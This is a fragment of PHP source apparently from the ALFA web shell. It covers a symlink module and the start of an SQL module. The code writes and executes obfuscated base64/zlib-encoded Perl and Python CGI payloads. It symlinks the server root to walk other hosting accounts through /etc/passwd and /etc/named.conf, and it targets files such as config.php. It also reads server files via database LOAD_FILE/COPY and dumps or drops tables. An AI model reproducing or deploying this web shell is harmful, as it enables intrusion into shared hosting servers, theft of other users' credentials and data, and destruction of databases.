alfasymlink(){\r\nalfahead();\r\nAlfaNum(9,10);\r\necho \'<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,\\\'symphp\\\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,\\\'symperl\\\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,\\\'sympy\\\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,null,null,\\\'SymFile\\\')">| File Symlink | </a></h3></center>\';\r\nif(isset($_POST[\'alfa2\'])&&($_POST[\'alfa2\']==\'symperl\'||$_POST["alfa2"]=="sympy")){\r\n\t$sympath = alfaMakePwd();\r\n\t@mkdir(\'cgialfa\',0755);\r\n\t@chdir(\'cgialfa\');\r\n\talfacgihtaccess(\'cgi\');\r\n\t$perl = \'#!/usr/bin/perl   -I/usr/local/bandmin\'."\\n".\'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));\';\r\n\t$py = \'#!/usr/bin/python\'."\\nimport zlib, base64\\n".\'eval(compile(zlib.decompress(base64.b64decode("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")),\\\'<string>\\\',\\\'exec\\\'))\';\r\n\t$cginame = "symperl.alfa";\r\n\t$source = $perl;\r\n\t$lang = "perl";\r\n\tif($_POST["alfa2"]=="sympy"){\r\n\t\t$cginame = "pysymlink.alfa";\r\n\t\t$source = $py;\r\n\t\t$lang = "python";\r\n\t}\r\n\t@__write_file($cginame,$source);\r\n\t@chmod($cginame,0755);\r\n\techo __pre();\r\n\t$resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true);\r\n\tif(strlen($resource) == 0){\r\n\t\techo AlfaiFrameCreator(\'cgialfa/\'.$cginame);\r\n\t}else{\r\n\t\techo $resource;\r\n\t}\r\n}\r\nif(isset($_POST[\'alfa4\']) && $_POST[\'alfa4\']==\'SymFile\'){\r\nif(function_exists(\'symlink\')||_alfa_can_runCommand(true,true)){\r\nAlfaNum(9,10);\r\necho __pre().\'\r\n<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\\\'symlink\\\',null,null,null,null,\\\'SymFile\\\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">\r\n<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />\r\n<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>\r\n<p><input type="submit" value=" " name="symlink" /></p></form></center>\';\r\n$path = $_POST[\'alfa5\'];\r\n$symname = $_POST[\'alfa6\'];\r\n$solevisible58 = $_POST[\'alfa7\'];\r\nif($solevisible58){\r\n$new_name = str_replace(".", "_", basename($symname));\r\n$rand_dir = $new_name.rand(111,9999);\r\n$sym_dir = \'alfasymlinkphp/\'.$rand_dir.\'/\';\r\n@mkdir($sym_dir, 0777, true);\r\nalfacgihtaccess(\'sym\', $sym_dir, $symname);\r\n_alfa_symlink("$path","$sym_dir/$symname");\r\necho __pre();\r\necho \'<center><b><font color="white">Click >> </font><a target="_blank" href="\'.$sym_dir.\'" ><b><font size="4">\'.$symname.\'</font></b></a></b></center>\';\r\n}\r\n}else{echo "<center><pre class=ml1 style=\'margin-top:5px\'><b><font color=\\"#FFFFFF\\">[+] Symlink Function Disabled !</b></font></pre></center>";}\r\n}\r\nif(isset($_POST[\'alfa2\']) && $_POST[\'alfa2\']==\'symphp\'){\r\n$cant_symlink = true;\r\nif(function_exists(\'symlink\')||_alfa_can_runCommand(false,false)){\r\n@mkdir(\'alfasymlink\',0777);\r\nalfacgihtaccess(\'sym\',\'alfasymlink/\');\r\n_alfa_symlink(\'/\',\'alfasymlink/root\');\r\n$table_header = "<pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><table id=\'tbl_sympphp\' align=\'center\' width=\'40%\' class=\'main\' border=\'1\'><td><span style=\'color:#FFFF01;\'><b>*</span></b></td><td><span style=\'color:#00A220;\'><b>Domains</span></b></td><td><span style=\'color:#FFFFFF;\'><b>Users</span></b></td><td><span style=\'color:#FF0000;\'><b>symlink</span></b></td>";\r\nif(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){\r\necho "<center>";\r\n$lines = array();\r\n$anony_domains = array();\r\n$anonymous_users = array();\r\n$f_black = array();\r\n$error = false;\r\n$anonymous = false;\r\n$makepwd = "/home/{user}/public_html/";\r\n$domains = alfaGetDomains();\r\n$lines = $domains["lines"];\r\n$state = $domains["state"];\r\n$is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");\r\n$can_runcmd = _alfa_can_runCommand(false,false);\r\nif(!$is_posix && !$can_runcmd){\r\n\t$anonymous = true;\r\n\t$anony_domains = $domains["lines"];\r\n\t$lines = _alfa_file(\'/etc/passwd\');\r\n}\r\necho $table_header;\r\n$count=1;\r\n$template = \'<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>\';\r\nforeach($lines as $line){\r\n\t$domain = "";\r\n\t$owner = "";\r\n\tif($anonymous){\r\n\t\t$explode = explode(":", $line);\r\n\t\t$owner = $explode[0];\r\n\t\t$owner_len = strlen($owner) - 1;\r\n\t\t$userid = $explode[2];\r\n\t\tif((int)$userid < 500)continue;\r\n\t\t$domain = "[?????]";\r\n\t\t$temp_black = array();\r\n\t\t$finded = false;\r\n\t\tforeach($anony_domains as $anony){\r\n\t\t\tif($state == "named.conf"){\r\n\t\t\t\tif(@strstr($anony, \'zone\')){\r\n\t\t\t\t\tpreg_match_all(\'#zone "(.*)"#\',$anony, $data);\r\n\t\t\t\t\t$domain = $data[1][0];\r\n\t\t\t\t}else{\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t}elseif($state == "named" || $state == "valiases"){\r\n\t\t\t\tif($anony == "." || $anony == "..")continue;\r\n\t\t\t\tif($state == "named")$anony = rtrim($anony, ".db");\r\n\t\t\t\t$domain = $anony;\r\n\t\t\t}\r\n\t\t\t$sub_domain = str_replace(array("-","."), "", $domain);\r\n\t\t\tif(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){\r\n\t\t\t\tif(in_array($owner.$domain, $temp_black))continue;\r\n\t\t\t\t$sympath = str_replace("{user}", $owner, $makepwd);\r\n\t\t\t\t$http = "http://".$domain;\r\n\t\t\t\techo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);\r\n\t\t\t\t$count++;\r\n\t\t\t\t$temp_black[] = $owner.$domain;\r\n\t\t\t\t$finded = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!$finded){\r\n\t\t\t$anonymous_users[] = $owner;\r\n\t\t}\r\n\t}else{\r\n \t\tif($state == "named.conf"){\r\n\t\t\tif(@strstr($line, \'zone\')){\r\n\t\t\t\tpreg_match_all(\'#zone "(.*)"#\',$line, $data);\r\n\t\t\t\t$domain = $data[1][0];\r\n\t\t\t}else{\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t}elseif($state == "named" || $state == "valiases"){\r\n\t\t\tif($line == "." || $line == "..")continue;\r\n\t\t\tif($state == "named")$line = rtrim($line, ".db");\r\n\t\t\t$domain = $line;\r\n\t\t}\r\n\t\tif(strlen(trim($domain)) > 2 && $state != "passwd"){\r\n\t\t\tif(!_alfa_file_exists(\'/etc/valiases/\'.$domain, false))continue;\r\n\t\t\tif($is_posix){\r\n\t\t\t\t$user = @posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain));\r\n\t\t\t\t$owner = $user["name"];\r\n\t\t\t}elseif($can_runcmd){\r\n\t\t\t\t$owner = alfaEx("stat -c \'%U\' /etc/valiases/".$domain,false,false);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(!$anonymous){\r\n\t\tif(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;\r\n\t\t$sympath = str_replace("{user}", $owner, $makepwd);\r\n\t\t$http = "http://".$domain;\r\n\t\tif($state == "passwd"){\r\n\t\t\t$http = "javascript:alert(\'we cant find domain...\')";\r\n\t\t}\r\n\t\techo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);\r\n\t\t$count++;\r\n\t\t$f_black[] = $owner.$domain;\r\n\t}\r\n}\r\nif($anonymous){\r\n\tforeach($anonymous_users as $owner){\r\n\t\t$sympath = str_replace("{user}", $owner, $makepwd);\r\n\t\t$http = "javascript:alert(\'we cant find domain...\')";\r\n\t\techo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);\r\n\t\t$count++;\r\n\t}\r\n}\r\n$cant_symlink = false;\r\n}else{\r\n$is_direct = false;\r\n$makepwd = alfaMakePwd();\r\nif(_alfa_file_exists("/etc/virtual/domainowners")){\r\n\t$makepwd = "/home/{user}/public_html";\r\n\t$is_direct = true;\r\n}\r\n$sole = _alfa_file("/etc/virtual/domainowners");\r\n$count=1;\r\necho $table_header;\r\n$template = \'<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>\';\r\nif($sole){\r\n\tforeach($sole as $visible){\r\n\t\tif(@strstr($visible,":")){\r\n\t\t\t$solevisible = explode(\':\', $visible);\r\n\t\t\t$cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);\r\n\t\t\techo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);\r\n\t\t}\r\n\t}\r\n}else{\r\n\t$passwd = _alfa_file("/etc/passwd");\r\n\tif($passwd){\r\n\t\t$html = "";\r\n\t\t$is_named = false;\r\n\t\t$users = array();\r\n\t\t$domains = array();\r\n\t\t$uknowns = array();\r\n\t\tforeach($passwd as $user){\r\n\t\t\t$user = trim($user);\r\n\t\t\t$expl = explode(":", $user);\r\n\t\t\tif((int)$expl[2] < 500)continue;\r\n\t\t\t$users[$expl[0]] = $expl[5];\r\n\t\t}\r\n\t\t$site_domains = @scandir("/etc/virtual/");\r\n\t\tif(!$site_domains){\r\n\t\t\t$site_domains = alfaEx("ls /etc/virtual/");\r\n\t\t\t$site_domains = explode("\\n", $site_domains);\r\n\t\t\tif(!$site_domains){\r\n\t\t\t\t$site_domains = _alfa_file("/etc/named.conf");\r\n\t\t\t\tif($site_domains){$is_named = true;}\r\n\t\t\t}\r\n\t\t}\r\n\t\tforeach($site_domains as $line){\r\n\t\t\tif($is_named){\r\n\t\t\t\tif(@strstr($line, \'zone\')){\r\n\t\t\t\t\tpreg_match_all(\'#zone "(.*)"#\',$line, $data);\r\n\t\t\t\t\t$domain = $data[1][0];\r\n\t\t\t\t\tif(strlen($domain  > 2) && !empty($domain)){\r\n\t\t\t\t\t\t$domains[] = $domain;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$domains[] = $line;\r\n\t\t\t}\r\n\t\t}\r\n\t\t$x = 1;\r\n\t\tforeach($users as $user => $home){\r\n\t\t\tforeach($domains as $domain){\r\n\t\t\t\t$user_len = strlen($user) - 1;\r\n\t\t\t\t$sub_domain = str_replace(array("-","."), "", $domain);\r\n\t\t\t\t$five_user = substr($user, 0,$user_len);\r\n\t\t\t\t$five_domain = substr($sub_domain, 0,$user_len);\r\n\t\t\t\tif($five_user == $five_domain){\r\n\t\t\t\t\tif($is_direct){\r\n\t\t\t\t\t\t$cwd = str_replace("{user}", $user, $makepwd);\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$expl = explode("}/", $makepwd);\r\n\t\t\t\t\t\t$cwd = $home."/".$expl[1];\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$uknowns[$user] = $home;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t$uknowns = array_unique($uknowns);\r\n\t\tforeach($uknowns as $user => $home){\r\n\t\t\tif($is_direct){\r\n\t\t\t\t$cwd = str_replace("{user}", $user, $makepwd);\r\n\t\t\t}else{\r\n\t\t\t\t$expl = explode("}/", $makepwd);\r\n\t\t\t\t$cwd = $home."/".$expl[1];\r\n\t\t\t}\r\n\t\t\t$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);\r\n\t\t}\r\n\t\techo($html);\r\n\t}\r\n}\r\necho "</table>";\r\n$cant_symlink = false;\r\n}\r\n}else{\r\n\techo "<pre class=ml1 style=\'margin-top:5px\'><b><font color=\\"#FFFFFF\\">[+] Symlink Function Disabled !</b></font></pre></center>";\r\n\t$cant_symlink = false;\r\n}\r\nif($cant_symlink)echo \'<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>\';\r\necho "</center></table>";\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfasql(){\r\nif(!isset($_POST[\'sql_host\'])){\r\n$_POST[\'sql_host\'] = $_SESSION["sql_host"];\r\n$_POST[\'sql_login\'] = $_SESSION["sql_login"];\r\n$_POST[\'sql_pass\'] = $_SESSION["sql_pass"];\r\n$_POST[\'sql_base\'] = $_SESSION["sql_base"];\r\n}\r\nclass DbClass{\r\npublic $type;\r\npublic $link;\r\npublic $res;\r\nfunction __construct($type){\r\n$this->type = $type;\r\n}\r\nfunction connect($host, $user, $pass, $dbname){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nif($this->link = @mysqli_connect($host,$user,$pass,$dbname)) return true;\r\nbreak;\r\ncase \'pgsql\':\r\n$host = explode(\':\', $host);\r\nif(!$host[1]) $host[1]=5432;\r\nif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction selectdb($db){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nif(@mysqli_select_db($db))return true;\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction query($str){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn $this->res = @mysqli_query($this->link,$str);\r\nbreak;\r\ncase \'pgsql\':\r\nreturn $this->res = @pg_query($this->link,$str);\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction fetch(){\r\n$res = func_num_args()?func_get_arg(0):$this->res;\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn @mysqli_fetch_assoc($res);\r\nbreak;\r\ncase \'pgsql\':\r\nreturn @pg_fetch_assoc($res);\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction listDbs(){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn $this->query("SHOW databases");\r\nbreak;\r\ncase \'pgsql\':\r\nreturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction listTables(){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn $this->res = $this->query(\'SHOW TABLES\');\r\nbreak;\r\ncase \'pgsql\':\r\nreturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction error(){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn @mysqli_error($this->link);\r\nbreak;\r\ncase \'pgsql\':\r\nreturn @pg_last_error();\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction setCharset($str){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nif(function_exists(\'mysql_set_charset\'))\r\nreturn @mysqli_set_charset($this->link,$str);\r\nelse\r\n$this->query(\'SET CHARSET \'.$str);\r\nbreak;\r\ncase \'pgsql\':\r\nreturn @pg_set_client_encoding($this->link, $str);\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction loadFile($str){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\r\nbreak;\r\ncase \'pgsql\':\r\n$this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM \'".addslashes($str)."\';select file from solevisible;");\r\n$r=array();\r\nwhile($i=$this->fetch())\r\n$r[] = $i[\'file\'];\r\n$this->query(\'drop table solevisible\');\r\nreturn array(\'file\'=>implode("\\n",$r));\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction dump($table, $fp = false){\r\nswitch($this->type){\r\ncase \'mysql\':\r\n$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\r\n$create = mysqli_fetch_array($res);\r\n$sql = $create[1].";\\n";\r\nif($fp) fwrite($fp, $sql); else echo($sql);\r\n$this->query(\'SELECT * FROM `\'.$table.\'`\');\r\n$head = true;\r\nwhile($item = $this->fetch()){\r\n$columns = array();\r\nforeach($item as $k=>$v) {\r\nif($v == null)\r\n$item[$k] = "\'\'";\r\nelseif(is_numeric($v))\r\n$item[$k] = $v;\r\nelse\r\n$item[$k] = "\'".@mysqli_real_escape_string($this->link, $v)."\'";\r\n$columns[] = "`".$k."`";\r\n}\r\nif($head) {\r\n$sql = \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\r\n$head = false;\r\n} else\r\n$sql = "\\n\\t,(".implode(", ", $item).\')\';\r\nif($fp) fwrite($fp, $sql); else echo($sql);\r\n}\r\nif(!$head)\r\nif($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\r\nbreak;\r\ncase \'pgsql\':\r\n$this->query(\'SELECT * FROM \'.$table);\r\nwhile($item = $this->fetch()) {\r\n$columns = array();\r\nforeach($item as $k=>$v) {\r\n$item[$k] = "\'".addslashes($v)."\'";\r\n$columns[] = $k;\r\n}\r\n$sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."\\n";\r\nif($fp) fwrite($fp, $sql); else echo($sql);\r\n}\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\n};\r\n$db = new DbClass($_POST[\'type\']);\r\nif(@$_POST[\'alfa1\']==\'dumpfile\'||@$_POST[\'alfa1\']==\'droptbl\'){\r\n$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\r\n$db->selectdb($_POST[\'sql_base\']);\r\nswitch($_POST[\'charset\']){\r\ncase "Windows-1251": $db->setCharset(\'calfa1251\'); break;\r\ncase "UTF-8": $db->setCharset(\'utf8\'); break;\r\ncase "KOI8-R": $db->setCharset(\'koi8r\'); break;\r\ncase "KOI8-U": $db->setCharset(\'koi8u\'); break;\r\ncase "calfa866": $db->setCharset(\'calfa866\'); break;\r\n}\r\n$json = json_decode($_POST[\'alfa2\'],true);\r\nif(count($json[\'tbl\'])>0){\r\nif($_POST[\'alfa1\']==\'dumpfile\'){\r\nif($fp = @fopen($json[\'file\'],\'w\')){\r\nforeach($json[\'tbl\'] as $v)$db->dump($v, $fp);\r\nfclose($fp);\r\n$dumpStatus = true;\r\n}}else{\r\nforeach($json[\'tbl\'] as $v)$db->query(\'DROP TABLE \'.$v);\r\n}\r\n}\r\nunset($_POST[\'alfa2\']);\r\n}\r\nalfahead();\r\necho "\r\n<div class=header><center><div class=\'txtfont_header\'>| Sql 